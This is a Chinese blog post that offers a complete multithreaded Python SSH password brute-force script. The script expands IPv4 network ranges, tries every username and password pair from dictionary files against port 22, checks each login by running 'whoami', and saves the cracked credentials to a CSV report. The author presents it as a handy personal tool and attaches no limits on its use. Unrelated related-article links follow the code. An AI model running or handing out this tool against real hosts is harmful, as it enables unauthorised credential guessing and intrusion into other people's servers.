多线程sshd爆破程序代码
不多说了,直接上手代码,也没有啥练手的,都是很熟悉的代码,水一篇,方便作为工作的小工具吧。试了一下,配合一个好点的字典,还是可以作为个人小工具使用的。
#!/usr/bin/env python
# -*- coding:utf-8 -*- '''
SSH服务弱口令扫描脚本
作者:陈然
''' #引入包文件
import ipaddr
import logging
import datetime
import paramiko
import threading
from optparse import OptionParser #定义全局配置
logging.basicConfig(format="%(message)s",level=logging.INFO) #定义全局变量
username_config_file = "../config/username.conf"
password_config_file = "../config/password.conf"
username_list = []
password_list = []
target_list = []
result_list = []
multi_thread = False #定义全局接口函数
def read_config_from_file():
"""从配置文件夹下的字典文件中读取爆破用户名和口令"""
global username_list
global password_list
#读取用户名字典
with open(username_config_file,"r") as fr:
for line in fr.readlines():
username = line.split("\n")[0].split("\r")[0]
username_list.append(username)
#读取口令字典
with open(password_config_file,"r") as fr:
for line in fr.readlines():
password = line.split("\n")[0].split("\r")[0]
password_list.append(password)
#字典列表去重
username_list = list(set(username_list))
password_list = list(set(password_list)) def change_config_files(username_file=None,password_file=None):
"""指定用户名和口令的字典配置文件"""
global username_config_file
global password_config_file
if username_file != None:
username_config_file = username_file
if password_file != None:
password_config_file = password_file def target_analyst(target):
"""对于目标网络地址分析并拆分其中的地址段 仅支持IPv4"""
global target_list
target = ipaddr.IPv4Network(target)
hosts_list = target.iterhosts()
for host in hosts_list:
target_list.append(str(host)) def target_file_anylast(filename):
"""分析目标列表文件"""
file_to_target = []
with open(filename,"r") as fr:
for line in fr.readlines():
each_target = line.split("\n")[0].split("\r")[0]
file_to_target.append(each_target)
return file_to_target def send_crack_packet(target,username,password,port=22,timeout=3):
"""发送爆破登录报文"""
global result_list
#局部变量
flag = False#是否有漏洞的标志位,默认False
#创建SSH对象并登陆
logging.info("[+] 爆破对象 地址%s 端口:%s 用户名:%s 口令:%s"%(str(target),str(port),str(username),str(password)))
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect(hostname=target, port=port, username=username, password=password,timeout=timeout,allow_agent=False,look_for_keys = False)
#执行命令
stdin, stdout, stderr = ssh.exec_command('whoami',timeout=timeout)
#获取命令结果
result = stdout.read().split("\n")[0]
if result == username:
flag = True
report_sting = "%s,%s,%s,%s,%s\n"%(str(target),"YES",str(port),str(username),str(password))
result_list.append(report_sting)
logging.info("[*] 爆破成功: 详细信息[地址:%s,端口:%s,用户名:%s,口令:%s]"%(str(target),str(port),str(username),str(password)))
try:
if multi_thread == False:
continue_flag = raw_input("是否继续?[1]继续[2]退出")
continue_flag = int(continue_flag)
else:
continue_flag = 1
except Exception,ex:
continue_flag = 2
if continue_flag != 1:
exit(0)
except Exception,ex:
pass
#关闭连接
ssh.close()
return flag def create_report():
"""生成报告文件"""
time_string = str(datetime.datetime.now()).replace(" ","").replace(":","")
fd = open("../result/%s.csv"%time_string,"w")
fd.write("Target-IP,WEAK,PORT,USERNAME,PASSWORD\n")
for result_string in result_list:
fd.write(result_string)
fd.close() def parameter_checker(parameter):
"""参数检查函数"""
if parameter in ["",None," ","null"]:
return False
else:
return True def list_devide(object_list,count):
"""列表拆分函数"""
return_list = []
if not isinstance(object_list,list):
return []
else:
total = len(object_list)
size = total/count + 1
start = 0
end = start + size
while True:
if end <= total:
return_list.append(object_list[start:end])
elif end > total and start < total:
return_list.append(object_list[start:])
elif start > total:
break
else:
break
start += size
end += size
return return_list class cracker(threading.Thread):
"""多线程爆破类"""
def __init__(self,target_list,timeout):
"""多线程爆破构造函数"""
threading.Thread.__init__(self)
self.__target_list = target_list
self.__timeout = timeout def run(self):
for target in self.__target_list:
for username in username_list:
for password in password_list:
send_crack_packet(target=target,username=username,password=password,timeout=self.__timeout) if __name__ == '__main__':
parser = OptionParser()
parser.add_option("-a","--target",dest="target",help="Target IP Addresses!")
parser.add_option("-i","--infile",dest="infile",help="Target IP Addresses File!")
parser.add_option("-u","--user",dest="userfile",help="Username Dictionary File!")
parser.add_option("-p","--pswd",dest="pswdfile",help="Password Dictionary File!")
parser.add_option("-o","--outfile",dest="outfile",help="Create A Report File! If [Yes] Create Report!")
parser.add_option("-n","--thread",dest="threadnum",help="Count Of Thread!")
parser.add_option("-t","--timeout",dest="timeout",help="Timeout Of Seconds!")
(options, arges) = parser.parse_args()
try:
options.threadnum = int(options.threadnum)
except Exception,ex:
options.threadnum = 1
options.threadnum = 10 if options.threadnum > 10 else options.threadnum
try:
timeout = int(options.timeout)
except Exception,ex:
timeout = 3
timeout = 60 if timeout >= 60 else timeout
if (parameter_checker(options.target) or parameter_checker(options.infile)) == False:
logging.error("[-] 输入参数错误!!!")
exit(0)
logging.info("[+] 目标初始化...")
if options.infile != None:
ret = target_file_anylast(options.infile)
for item in ret:
if item.find("/") >= 0 or item.find("-") >= 0:
target_analyst(item)
else:
target_list.append(item)
if options.target != None:
if options.target.find("/") >= 0 or options.target.find("-") >= 0:
target_analyst(options.target)
else:
target_list.append(options.target)
logging.info("[+] 目标初始化完成!!!")
if (parameter_checker(options.userfile) or parameter_checker(options.pswdfile)) == True:
logging.info("[+] 配置字典文件!!!")
change_config_files(username_file=options.userfile,password_file=options.pswdfile)
read_config_from_file()
logging.info("[+] 开始扫描")
#单线程爆破
if options.threadnum == 1:
for target in target_list:
for username in username_list:
for password in password_list:
send_crack_packet(target=target,username=username,password=password,timeout=timeout)
#多线程爆破
else:
multi_thread = True
thread_list = []
thread_target_list = list_devide(target_list,options.threadnum)
for thread_target in thread_target_list:
thread_object = cracker(thread_target,timeout)
thread_list.append(thread_object)
for thread in thread_list:
thread.start()
for thread in thread_list:
thread.join()
if parameter_checker(options.outfile) and options.outfile == "yes":
logging.info("[+] 生成报告中...")
create_report()
logging.info("[+] 报告已生成!!!")
logging.info("[+] 扫描完成")
多线程sshd爆破程序代码的更多相关文章
- python多线程ssh爆破
python多线程ssh爆破 Python 0x01.About 爆弱口令时候写的一个python小脚本,主要功能是实现使用字典多线程爆破ssh,支持ip表导入,字典数据导入. 主要使用到的是pyth ...
- 破解入门【OllyDebug爆破程序】
逆向破解这块我也是个刚起步的小菜,入门都还算不上吧,看了点基础教程,先动手练习一下增加点兴趣.嘿嘿 工具: peid //查壳工具 OllyDebug //反汇编.动态调试工具 ...
- HOOK大法实现不修改程序代码给程序添加功能
[文章标题]: HOOK大法实现不修改程序代码给程序添加功能[文章作者]: 0x18c0[软件名称]: Scylla[使用工具]: OD.Stub_PE.ResHacker[版权声明]: 本文原创于0 ...
- 程序代码中退出函数exit()与返回函数return ()的区别
程序代码中退出函数exit()与返回函数return ()的区别 exit(0):正常运行程序并退出程序: exit(1):非正常运行导致退出程序: return():返回函数,若在主函数 ...
- Android入门(四):链接接口组件和程序代码
编写好layout中的接口组件之后,下一步就是编写控制接口组件的程序代码.上一章,我们使用了三种接口组件,在使用者输入性别和年龄之后点击“健康建议按钮”,程序会读取用户所填入的性别和年龄,然后显示判断 ...
- WinPipe后门程序代码示例(仅限技术交流)
具体怎么编译,生成执行程序,不懂得先学习C++程序代码编译和集成开发环境. 多的不说了,只有两个代码文件,一个头文件,一个源文件.不多说了,直接上干货. (恶意使用,或者商用,后果自负,与本人无关.) ...
- Bullet核心类介绍(Bullet 2.82 HelloWorld程序及其详解,附程序代码)
实验平台:win7,VS2010 先上结果截图: 文章最后附有生成该图的程序. 1. 刚体模拟原理 Bullet作为一个物理引擎,其任务就是刚体模拟(还有可变形体模拟).刚体模拟,就是要计算预测物体的 ...
- 每周一书-编写高质量代码:改善C程序代码的125个建议
首先说明,本周活动有效时间为2016年8月28日到2016年9月4日.本周为大家送出的书是由机械工业出版社出版,马伟编著的<编写高质量代码:改善C程序代码的125个建议>. 编辑推荐 10 ...
- 使用sencha cmd 一键生成你的应用程序代码
一键生成你的应用程序代码: ------------------------------------------------------------ 我们的出发点就是使用命令来产生一个应用程序,执行以 ...
随机推荐
- 机器学习基石第三讲:types of learning
博客已经迁移至Marcovaldo's blog (http://marcovaldong.github.io/) 刚刚完毕机器学习基石的第三讲.这一讲主要介绍了机器学习的分类.对何种问题应该使用何种 ...
- ERROR org.apache.zookeeper.ClientCnxn:532 - Error while calling watcher
一.背景 使用zookeeper操作时提示这个错误信息 ERROR org.apache.zookeeper.ClientCnxn: - Error while calling watcher jav ...
- jquery常见插件用法表
一:美化select表单:chosen.jquery.js http://harvesthq.github.io/chosen/ 关于ajax更新列表后需要触发下插件的事件,才会表现出来:(http: ...
- AngularJS 路由:ng-route 与 ui-router
AngularJS的ng-route模块为控制器和视图提供了[Deep-Linking]URL. 通俗来讲,ng-route模块中的$routeService监测$location.url()的变化, ...
- Virtex6 PCIe 超简版基础概念学习(二)
Virtex6 PCIe 超简版基础概念学习(二) 分类:FPGAPCIe (2081) (0) 举报 收藏 文档版本 开发工具 测试平台 工程名字 日期 作者 备注 V1.0 ise14.7 ...
- python3.7+opencv3.4.1
https://solarianprogrammer.com/2016/09/17/install-opencv-3-with-python-3-on-windows/ https://www.cnb ...
- css 优先级的bug
对于前端而言,了解css样式的优先级,对开发或处理bug有着事半功倍的效果,今天在做项目的时候,突然碰到一个优先级的小问题,刚开始不知道所因,后来才发现这个问题是由优先级造成的.先描述下问题,鼠标悬停 ...
- SAP ECC6安装系列二:安装前的准备工作
原作者博客 http://www.cnblogs.com/Michael_z/ ======================================== 安装 Java 1,安装 Java, ...
- lua自用的函数收集
这里记录一下我常用到的一些lua函数,不定期更新. 1.cirleAdd函数是用来一个循环自增的,其中num是最大值, startNum是起始值,stepNum是步长,startFlag默认真起始值从 ...
- php插入代码数据库
插入代码:<?php $con = mysql_connect("localhost","peter","abc123"); if ( ...